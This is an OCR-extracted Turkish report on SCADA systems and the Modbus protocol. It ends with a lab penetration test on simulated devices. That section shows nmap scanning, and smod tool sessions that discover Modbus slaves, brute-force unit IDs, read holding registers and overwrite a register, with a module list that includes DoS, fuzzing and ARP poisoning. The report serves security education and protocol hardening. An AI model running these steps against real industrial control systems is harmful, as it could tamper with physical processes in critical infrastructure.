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SCADA (Supervisory Control And Data Acquisition)

Uzaktan Kontrol ve go6zlem sistemi olan bilgisayarlardan, haberlesme cihazlarindan,
algilayicilardan veya diger cihazlardan olusturulmus denetlenebilen ve kontrol edilen bir sistemin
genel adidir.

SCADA sistemi, hidroelektrik, niikleer guc Uretimi, dogalgaz Uretim ve isleme tesislerinde, gaz,
yag, kimyasal madde ve su boru hatlarinda pompalarin, valflerin ve akis 6lcim ekipmanlarinin
isletiimesinde, kilometrelerce uzunluktaki elektrik aktarim hatlarindaki agma kapama digmelerinin
kontroli ve hatlardaki ani yuk degisimlerinin dengelenmesi gibi c¢ok farkli alanlarda
kullanilabilmektedir.

SCADA sistemleri hem donanim hem de yazihmdan olusur. Tipik donanim, bir kontrol merkezine
yerlestirilen bir MTU, iletisim ekipmani (6rnegin, radyo, telefon hatti, kablo veya uydu) ve
aktUatorleri veya monitorleri kontrol eden bir RTU veya PLC' den olusan bir veya daha fazla cografi
olarak dagitilmis alan alanini igeri. MTU, RTU veya PLC yerel islemi kontrol ederken, bilgileri RTU
giris ve cikislarindan saklar ve igler. iletisim donanimi, bilgi ve verilerin MTU ve RTU lar veya
PLC'ler arasinda ileri geri aktariimasina izin verir. Yazihm, sisteme ne zaman izlenecegini, hangi
parametre araliklarinin kabul edilebilir oldugunu ve parametrelerin kabul edilebilir degerler disinda
degistiginde hangi yaniti baslatacagini séylemek icin programlanmistir.

Buyuk endustriyel sistemleri uzaktan izleme ve kontrol etme kabiliyetine sahip olma, sirketlerin ve
endustrilerin daha fazla hizmet sunabilmek icin yeteneklerini genisletmelerine izin verirken, ayni
zamanda teknolojilerin igletiimesinden ve muihendisliginden sorumlu personelin erisebilecegdi
verileri erigilebilir kilar.

Sdregler igin gozetleyici denetim ve veri toplama islemlerini yapan sistemler igin kullanilan SCADA
sistemleri, fabrikadaki sureglerin (hammadde, Uretim ve mamul madde takibi vb.) denetiminde
kullanilan cesitli aracglarla (RTU, PLC vb.) birlikte fabrikanin Gretim kontroli ve takibine yonelik bir
alt yapi olustururlar. Bu altyapinin imkan verdigi ¢l¢tide Uretim kaynaklari planlamasi (MRPII) ve
isletme kaynaklari planlama (ERP) sistemleriyle gerekli baglasimlar kurularak ideal bir yapiya
erisilebilir.

SCADA sistemlerine yonelik literatirde bilinen siber saldirilar analiz edilmistir. Ayrica EKS’de
kullanilan endistriyel haberlesme protokollerinin istatistikleri c¢ikarilarak bunlar icerisinde en sik
kullanilan protokoliin Modbus TCP oldugu tespit edilmistir. Ayrica, Modbus TCP protokolinde
kaynak IP adresi kontrolinin yapiimadigi ve bunun da istimar edilebilecek bir givenlik riski
olusturdugu go6zlenmistir. SCADA sistemlerini olusturan bilesenlerin ve bu sistemlerin
haberlesmesinde kullanilan endustriyel protokollerin zafiyetleri acgiklanarak Modbus TCP
protokoluiniin guivenliginin iyilestiriimesi hedeflenmigtir.



SCADA SiSTEMLER VE ALTYAPILAR

Elektrik guc sistemlerinin kullaniminda enerji, bankacilik, iletisim, Uretim gibi Kkritik
altyapilarda SCADA sistemleri kullanilir. SCADA sistemleri kritik altyapi endustrisinde
yaygin olarak kullanilan ve uzaktan denetleme ve kontrol saglayan sistemlerdir. SCADA
sisteminin temel fonksiyonu, elektrik dagitimindan sorumlu olan cihazlari izlemek ve
denetlemektir. Ek fonksiyon olarak hata tespiti, ekipman izolasyonu ve restorasyonu, yuk
ve enerji yonetimi, otomatik saya¢ okuma ve trafo kontroltddr.

SCADA, gercek zamanli olarak yerel ve cografi olarak dagitik islemleri dlgen ve raporlayan
birbirinden bagimsiz sistemler toplulugudur. Kullaniciya uzaktaki tesislere komut
gondermeye ve oradan verileri ¢cekmeye olanak saglayan telemetri ve veri toplama
kombinasyonudur.

SCADA genel olarak asagida béliimlerden olusur:
Saha tarafi:
* RTU (Remote Terminal Unit) veya PLC ler

« lletisim sistemi

* Merkezi sunucular

Yazilim tarafi:
* Kaullanici arayuzi (Grafik araytz)

 izleme sistemi
* Alarm Sistemi

* Veri analiz ve raporlama sistemi

SCADA sistemleri haberlesme sistemi olarak EIA standartlari olan RS-232, RS-422 ve RS-
485 standartlarini kullanmaktadir. Bu protokollere ek olarak daha bir ¢cok standart protokol
de kullaniimaktadir.



SCADA Kullanim Alanlari

SCADA sistemlerin kullanim alanlari basta kritik altyapilar olmak tzere bir cok endustriyel
tesiste calismaktadir. SCADA sistemlerin kullanim alanlarini asagidaki gibi siralayabiliriz.

« Bir prosesin oldugu endustriyel tesisler (Cimento, Seker, ilag, Boya vb. fabrikalar)
* Enerji nakil hatlari

» Barajlar, Temiz — atiksu aritma tesisleri

* Rayl sistemler

+ Trafik sistemleri

* Tuneller

» Dogalgaz tesisleri

* Gida fabrikalari

* Nukleer tesisler

TEMEL BILESENLER

SCADA kontrol sisteminin temel bilesenleri MTU (Master Terminal Unit), RTU (Remote
Terminal Unit) ve haberlesme agidir. Asagida SCADA agi ve bilesenleri resimde
gosterilmistir.
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Merkezi Terminal Birimi (MTU) :
Merkezi denetleyici veya merkezi terminal birimi olarak isimlendirilien MTU, yerel bir ag
(LAN) ile veya genis alan agr (WAN) ile bir sunucu veya bir grup bilgisayarin ana
sunucuyla baglanma formudur.
Gorevleri:

» SCADA bilesenlerinin haberlesmesini izlemek ve denetlemek

» HMI yazilimi kullanarak SCADA haberlesmesi ile ilgili bilgi ve verileri grafiksel

bir arayiliz ile gorinttlemek.
« Saha cihazlarina komut géndermek ve almak.

Uzak Terminal Birimi (RTU):

SCADA mimarisinde Slave istasyonlari olarak davranirlar. SCADA tarafindan kontrol edilen
ve izlenen ekipman veya makinalara bagli olan saha cihazlarindan olusur. Bu cihazlar
parametreleri izlemek igin sensorleri ve sistemin modullerini kontrol etmek amaciyla
aktiatori veya uyariclyl binyesinde bulundurur. RTU lar, MTU istasyonuna geri
gondermek lzere senstrlerden gercek zamanl bilgileri génderir ve ana istasyondan gelen
bilgileri alir. RTU cihazlari cografi olarak farkh bircok konumda konuslandirilarak dagitik bir
sekilde gercek zamanl bilgileri merkezi istasyona LAN/WAN baglantilarini kullanarak
gonderir.

Programlanabilir mantiksal denetleyici (PLC):

islemleri ve kontrol mekanizmasini uygulamak icgin girilen talimatlari depolamak ve
siralama, zamanlama ve sayma gibi fonksiyonlari uygulamak icin programlanabilir hafizayi
kullanabilen mikroislemci tabanli denetleyicilerin 6zel bir formudur. Mantiksal ve
anahtarlama islemlerinin uygulanmasi bu cihazlardaki o6ncelikli islevdir ve icerisinde
yazilimsal olarak cok sayida role, saymac, zamanlayici ve veri depolama Unitesi
mevcuttur.

SCADA haberlesme protokolleri
SCADA sistemleri, MTU ve bir veya daha fazla RTU’lar arasinda iletisim kurmak icin
kullanilan acik veya 0zel haberlesme protokollerini kullanarak tasarlanmistir. SCADA
protokolleri alt istasyon bilgisayarlarinin, RTU’larin, IED’lerin ve MTU’larin birbiriyle
haberlesmesi i¢in transmisyon Ozelliklerini saglar. En ¢ok kullanilan SCADA haberlesme
protokolleri asagidaki gibi listelenebilir.

* DNP3

* Modbus

* Profinet



Modbus protokolii

Modbus protokolit SCADA ya 6zel gelistiriimis ve endustriyel bir protokoldir. Modbus farkli
tip aglarda bagli cihazlar arasindaki server/client haberlesmesi icin uygulama katmani
mesajlasma protokoltdur. Modbus iletisimi bir Master ve ¢oklu Slave arasindadir. Master,
genellikle calisan bir PC veya HMI cihazidir, Slave ise genellikle bir PLC veya PID
kontrol6rleri veya sayaclari gibi akilli cihazlardir. Slave ler ICS verilerini toplamak ve ICS
parametrelerini degistirmek icin Master ile iletisim kurarlar. Slave ler, Master'in sorgusuna
veri bildirme yanitini verir ve Master komutunun altindaki parametreleri degistirir.

ModBus ‘In ¢ iletisim modu vardir: ASCII, RTU ve TCP / IP. Modbus / TCP modunda, tim
ana ve Slave lerin kendi IP adresleri vardir, ISS ‘ler tarafindan tanimlanabilir ve Ethernet,
HUB veya Switch ile birbirine baglanabilir. ASCII ve RTU modunda, Slave ler Slave kimligi
ile tanimlanir ve seri hatlarla (RS232, RS485 veya RS422) Master ' a baglanir.

M MOdbUs RTU s

Resim : ModBus RTU protokolinin mesaj yapisi

Transaction ID Protocol ID Length | | UnitID - .
< MBAP Header > POU sl
< Modbus TCP >

Resim : ModBus TCP Mesaj yapisi



ModBus TCP Server
ModBus TCP Server Calisma Dongusu asagidaki gibidir.

1.
2.

Client sorgu (MODBUS sorgusu) gonderdiginde, TCP/IP y1gin veriyi alir

Sorgu bir baglanti istegdi veya ModBus sorgusu olabilir

Sorgu bir baglanti istegi ise;

» Erisim kontrolt kontrol edilir ve kabul edilir.

* Baglanti nesnesini ve ModBus cercevesi icin bellekte yer tahsis edilir.

* Sorgu bir ModBus istegi ise, tim ModBus Sorgusu okunabilir.

Alinan MBAP cercevesi analiz edilmek igin ServerTask a gonderilir. Bir hata
olusursa Exception ¢ergevesi olusturulur, aksi takdirde yanit olusturulur.

Yanit ag Uzerinden gonderilir. Baglanti nesnesindeki islem ag tzerinden alinan
verilerle yapilir.

ModBUS TCP Client
ModBus TCP Client Calisma Dongusiu asagidak gibidir.

1.
2.

Sorgu kullanici uygulamasindan gelir.
Client in gorevi ModBus sorgusunu alir, sorgu alindiginda sorguya karsilik gelen
yanitla iligkilendirir.

. MODBUS sorgusu, TCP_Management 6gesine gonderilir.
. Server ile baglanti kurulmussa, mesaj ag tzerinden gonderilebilir. Aksi takdirde,

mesaj ag Uzerinden gonderilmeden dnce bir baglanti acilir.

. Agdan bir yanit alindiginda, veri TCP/IP yiginina yazilir. Baglanti kurulmussa,

MBAP okunur. Client ModBus onayini alir.

. Yanit kullanici uygulamasina yazilir ve islem kaynagi serbest birakilir,

ModBus Temel Fonksiyonlar
Modbus protokolinin temel fonksiyonlari asagidaki gibi listelenebilir.

Okuma icin kontrol sargisi komutlari ve tekli veya grup sargi ayarlamalari
Girdi gruplarinin giris durumlarini okumak icin girdi kontrol komutlari
Bekleyen yazmaglari okumak ve ayarlamak icin yazmag kontrol komutlari
Hata bulma testi ve fonksiyon raporu

Program fonksiyonlari

Sorgulama kontrol fonksiyonlari

Sifirlama



SCADA Sistemi Gilivenlik Aciklari

Modbus iletisimi bir Master (veya istemci olarak adlandirilir) ve ¢oklu Slave (veya sunucu
olarak adlandirilir) arasindadir. Master, genellikle calisan bir PC veya HMI cihazidir, Slave
ise genellikle bir PLC veya PID kontrolérleri veya sayaclari gibi akilli cihazlardir. Slave ’ler,
Master'in sorgusuna veri bildirme yanitini verir ve Master komutunun altindaki
parametreleri degistirir.

Modbus Acikliklar ve Saldirilari:

Modbus sistemlerine ve aglarina yonelik saldirilar bu protokolin 6zelliklerine,
uygulamalarina ve altyapisina gore istismar edilir. Modbus Seri Protokoliine yapilan
saldirilar Master ve Slave cihazlarina ve seri haberlesme agina yonelik gerceklesirken,
Modbus TCP ye yapilan saldirilar IP agina, Master ve Slave cihazlarina gerceklestirilir. Bu
saldirilarda mesajin igerigine erisilmesinden dolayi tasinan bilginin gizliliginin ifsa olmasina
sebep olabilir.

Modbus protokoli acik metin olarak iletisim kurar; ve hicbir kimlik dogrulama yoktur. Bu, bir
saldirganin Modbus HMI 'ye (insan makine araytizil) veya Modbus cihazlarina dogrudan
yag baglantisi kurduktan sonra Modbus tabanli ICS'yi kolayca kontrol edebilmesi anlamina
gelir.

SCADA Sizma Testi
ModBus Client Modbus Master ve Saldirgan olarak lab ortami hazirlanmis ve asagidaki
Resim 1 de gosterilmistir.

VeV

-I
—
ModBus Slave
1P:192.168.1.145

Saldirgan
1P:192.168.1.141

ModBus Master
1P:192.168.1.94

Resim 1 : Lab ortami

Slave Master iletisimi icin simulasyon arclari olarak ModbusPal.jar ve QModMaster
uygulamalar kullaniimistir.



ModbusPal.jar uygulamasi ile Slave ler olusturulabilir ve uzaktaki bir Modbus Master
uygulamsinin  ModbusPal uygulamasindaki olusturulan sanal Slave'e erisimine izin

vermektedir. Asagida Slave olusturulmus ve Bu slave icin Holding Register’lar ve Coil ler
tanimlanmistir.

Gerekli ayarlamalar yapildiktan sonra Run komutu vererek Slave hazir hale getirilir.
Asagidaki Resim 2 de bu yapi gosterilmektedir.

ModbusPal 1.6b (=& =]
Link settings Project
- Load Clear
[ Run ](’ Save Save as
Learn
TCP Port: |502 Tools

[] Zislave2
wa | [Cnde ][ consok | Mk Py on o
Modbus daves Holding registers | Coils | Functions | Tuning|
[ Add | [ Enableal || Disableal | [ add || Remove |[ Bnd || uUnbind |
[
2|33

w

o]
93

&

Automation

[ add || startal |[ stopal

Adding coils completed.

Resim 2: ModbusPal.jar uygulamasi

Master Uygulamasi olarak kullanilan QmodMaster ile ModbusPal.jar uygulamasi

Uzerindeki slave ile baglanti kurulmus ve okunan degerler asagidaki Resim 3 te
gosterilmistir.



= QModMaster =m|E=R~=—
File Options Commands View Help
IR EIN DA H ¥ &H @ 0 00

Modbus Mode | TCP UnitID 2 +| ScanRate (ms) 1000 |5

Function Code [Read Holding Registers (0x03) - ] Start Address 0O =

Mumber of Registers 4 % | Data Format Signed ||

12 33 a a3 X X X X X X

@ TCP:192168.1.145:502 Base Addr: 0 Packets : 9 Errors : 3

Resim 3 : QModMaster uygulamasi

QModMaster uygulamasi ile Fonksiyon kodu 0x06 ile 3 deger olan O degeri hexadecimal
16 decimal 22 ile degistirilmis ve Wireshark paket analizi Resim 4 te gdsterilmigtir.

No. Time Source Destination Protocol  Length Info o
L 18 6.929347 192.168.1.145 192.168.1.94 Modbus.. 66 Response: Trans: 21; Unit: 2, Func: 6: Write Single Register
11 7.133257 192.168.1.94 192.168.1.145 TCP 60 62844 + 582 [ACK] Seq=13 Ack=13 Win=255 Len=0 |7‘

> Frame 18: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface @
> Ethernet II, Src: PcsCompu_eb:7c:13 (@8:00:27:eb:7c:13), Dst: PcsCompu_29:b3:29 (@3:00:27:29:b3:29)
> Internet Protocol Version 4, Src: 192.168.1.145, Dst: 192.168.1.594
> Transmission Control Protocol, Src Port: 582, Dst Port: 62844, Seq: 1, Ack: 13, Len: 12
> Modbus/TCP
4 Modbus

.28@ @11@ = Function Code: Write Single Register (6)

Request Frame: 7

[Time from request: 8.8861@6888 seconds]

Reference Number: 2

Data: 8816

@3 8@ 27 29 b3 29 @3 @@ 27 eb 7c 13 @3 @8 45 ee ! " E

@@ 34 64 7d 42 GG 3@ @6 B8 @@ cB a3 @81 91 c@ as 4d}@

@1 5e @1 f6 f2 S5c 5b dc 75 @c 4f c8 ef be 5@ 18 - A uD
@@38 ee ff 84 66 @@ 00 @2 15 88 @8 80 86 82 66 |5 2| f '

ea 16

Resim 4 : Wireshark paket analizi
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Bu asamadan sonra Agda dahil olan saldirgan goéztinden Modbus larin tespiti Slave ler
Uzerindeki Register Uzerindeki datalarin okunmasi ve bu Register Uzerindeki datalarin
degerlerinin degistiriimesi gosterilecektir.

Pentest asamalarinda 6ncelikle sistemlerin tespiti ve agin haritalanmasi gerceklestirilir. Bu
asamalarin ilk adimi nmap ile tim agi taramaktir. Modbus TCP protokoli 502 ve 503
numarall port Uzerinde calismaktadir. Basit bir nmap taramasi, 6rnegin: nmap -sT
<network_adresi> -p502,503 ile Agda bulunan modbuslar tespit edilebilir.

Bu calismada biz, Register okuma, Registera defer yazma, Sarmal okuma ve yazma
adimlarini da icinde barindiran smod araci ile testimizi gerceklestirecegiz.

Smod araci, modbus protokoliinde test yapmak icin ihtiya¢c duyabileceginiz her tirli tanisal
ve manipule etme 6zellige sahip moduler bir aractir. Python ve Scapy kullanarak tam bir
Modbus protokol uygulamasidir. Bu yazilim Linux ve Mac OS X'te python 2.7.x altinda
calistirilabilir. Resim 5 bu aracin iginde barindirdigir modulleri gostermektedir.

SMOD modbus ( ) =show modules
Modules Description

DOS Galil RIO-471060

DOS With Write Single Coil Function
DOS Write Single Register Function
Fuzzing Read Coils Function

Fuzzing Read Discrete Inputs Function
Fuzzing Read Exception Status Function
Fuzzing Read Holding Registers Function
Fuzzing Read Input Registers Function
Fuzzing Write Single Coil Function
Fuzzing Write Single Register Function
Check Modbus Protocols

Enumeration Function on Modbus

Brute Force UID

Arp Poisoning

Resim 5 : Smod araci modilleri.

1. Adim modbus larin tespiti icin modbus/scanner/discover modulinun kullaniimasi
Asagida Resim 6 da gosterilmistir. Resim 7 de bulunan modbus Protokolt gosterilmistir.

SMOD modbus ( ) =use modbus/scanner/discover
SMOD modbus ( ) »>show options
Name Current Setting Required Description

> stdout save in output directory
192.168.1.08/24 ue > target address range or CIDR identifier
502 alse > part number for modbus protocol
10 False The number of concurrent threads
SMOD modbus ( ) >fi

11



Resim 6: Smod Discover modulil.

Modbus is not running
Modbus is not running
Modbus is not running

Modbus is running on
Modbus is not running
Modbus is not running
Modbus is not running

Resim 7 : Tespit edilen Modbus Protokolu.

2. Asama Modbus Slave in benzersiz kimliginin tespiti yani UID degerinin bulunmasi. Bu
asama yine moddller icinde bulunan /modbus/scanner/uid modult ile gergeklestirilmistir ve
slave adresi tespit edilmistir Resim 8.

SMOD >use modbus/scanner/uid
SMOD modbus ( ) >show options
ELS Current Setting Required Description

Function code, Defualt:Read Coils.
The stdout save in output directory
The target address range or CIDR identifier
5082 Ls The port number for modbus protocol
1 lse The number of concurrent threads
SMOD modbus ( ) >set RHOSTS 192.168.1.145
SMOD modbus ( ) =exploit
Module Brute Force UID Start
+] Start Brute Force UID on : 192.168.1.145
+] UID on 192.168.1.145 is : 10
MOD modbus ( I |

[
[
S|

Resim 8: Slave Uid tespiti

3. Asama da Modbus (zerinde bulunan Register degerleri readHoldingRegister moduli ile
okunmustur Resim 9.

SMOD modbus ( ) =show options
Name Current Setting Required Description

False The stdout save in output directory
True Registers Values.
192.168.1.145 True The target address range or CIDR identifier
502 False The port number for modbus protocol
Ox0000 True Start Address.
1 False The number of concurrent threads
2 True Modbus Slave UID.
SMOD modbus ( )} »exploit
Module Read Holding Registers Start

[+] Connecting to 192.168.1.145
[+] Response is :
###[ ModbusADU ]###

0x10
0x0

transId
protold
len Oxb
unitId 0x2
###[ Read Holding Registers Answer ]###
funcCode = 0x3
byteCount = 8L
registerVal= [0, 12, 0, 33, 0, 0, 0, 93]
SMOD modbus ( = |

Resim 9: Register Degerlerinin okunmasi.

12



4. Asama Register Degerlerinin degistiriimesi writeSingleRegister moduli ile
gerceklestiriimistir ve register 3 adresindeki O degeri hexadecimal 16 decimal 22 olarak
slave e yazilmistir Resim 10.

SMOD modbus( ) >show options
Name Current Setting Required Description
False The stdout save in output directory
True The target address range or CIDR identifier
False The port number for modbus protocol
True Register Address.
True Register Value.
False The number of concurrent threads
True Modbus Slave UTID.
modbus ( >set RHOSTS 192.168.1.145
modbus ( >set UID 2
modbus ( >set RegisterAddr 8x0002
modbus ( >set RegisterValue Ox16
modbus ( >exploit
Module Write Single Register Start
[+] Connecting to 192.168.1.145
[+] Response is :
###] ModbusADU |#4##
transId = Bx11
protold = Bx0
len = Bxb6
unitTd = Bx2
###[ Write Single Register Answer ][###
funcCode = 0x6
registerAddr= 0x2
registerValue= 0x1l6
SMOD modbus ( = |

Resim 10 : Register degerinin registiriimesi.

Asagida Resim 11 de son adima(Register degerinin degistiriimesi) ait wireshark ile saldiri
aninda yakalanan paket ve icerigi gosterilmistir.

M *Local Area Connection (=% Ech ==
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
4 @ RE R =feEEaaar
(AT ~ | Expression +
MNo. Time Source Destination Protocol  Length Info -
3166 1192.9512686  192.168.1.141 192.168.1.145 Modbus.. 78  Query: Trans:  17; Unit: 2, Func: 6: Write Single Register
3167 1192.952008  192.168.1.145 192.168.1.141 Modbus.. 78 Response: Trans:  17; Unit: 2, Func:  6: Write Single Register
3168 1192.952292 192.168.1.141 192.168.1.145 TP AA 51634 » 5A2 [ACK] Sea=13 Ack=13 Win=A4256 len=A TSval=31194A52629 TSecr=. s
Frame 3167: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) on interface B
Ethernet II, Src: PcsCompu_eb:7c:13 (08:88:27:eb:7c:13), Dst: PesCompu_8d:78:5d (88:00:27:8d:70:5d)
Internet Protocol Version 4, Src: 192.168.1.145, Dst: 192.168.1.141
Transmission Control Protocol, Src Port: 562, Dst Port: 51634, Seq: 1, Ack: 13, Len: 12
Hodbus /TCP
4 Modbus
.80 @118 = Function Code: Write Single Register (6)
[Request Frame: 3166]
[Time from request: ©.888382000 seconds]
Reference Number: 2
Data: 016
88 08 27 8d 70 5d 88 80 27 eb 7c 13 BB 0@ 45 00 “pl |
80 48 64 1c 40 03 30 86 OB 88 cB a8 B1 91 c@ a8 @d§
@1 Bd @1 f6 ¢9 b2 27 2b 11 71 de 95 a9 B2 B0 18 "+ q
81 04 84 2l 60 00 81 BL 88 8a 0 2d 7e 85 be 61 a
@020 60 14 BB 11 8@ 6O BG 85 86 08 B2 08 16 -
) 7 wireshark Local Area Connection_20130526021228_a03700.pcapng Packets: 3200 - Displayed: 3200 (100.0%) - Dropped: 0 (0.0%) || Profie: Defauit

Resim 11 : Saldiri aninda yakalanan paket.
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SONUC VE DEGERLENDIRMELER

Modbus Master, Modbus Slave ve saldirgan makinalari arasinda akan Modbus TCP
paketleri Wireshark araci kullanilarak yakalanip analiz edilmistir. ilk etapta Modbus Master
ve Modbus Slave makinalari arasinda akan normal Modbus TCP paketleri yakalanmis ve
daha sonrasinda saldirgan makinasiyla smod araci modulleri kullanilarak manipule edilmis
Modbus TCP paketleri yakalanmistir. Boylece normal Modbus TCP paketleriyle manipule
edilmis Modbus TCP paketleri karsilastirilarak analiz edilmigtir.

Yapilan analiz sonucunda Modbus TCP protokolinin kaynak IP kontrolini yapmadigi,
akan paketlerin sifrelenmeden acik metin sekilde gonderildigi, araya girerek iki cihaz
arasinda akan buatin paketlerin okunabildigi ve Smod araci kullanilarak paketler tzerinde
manipulasyon islemlerinin gerceklestirilebildigi analiz edilmistir.
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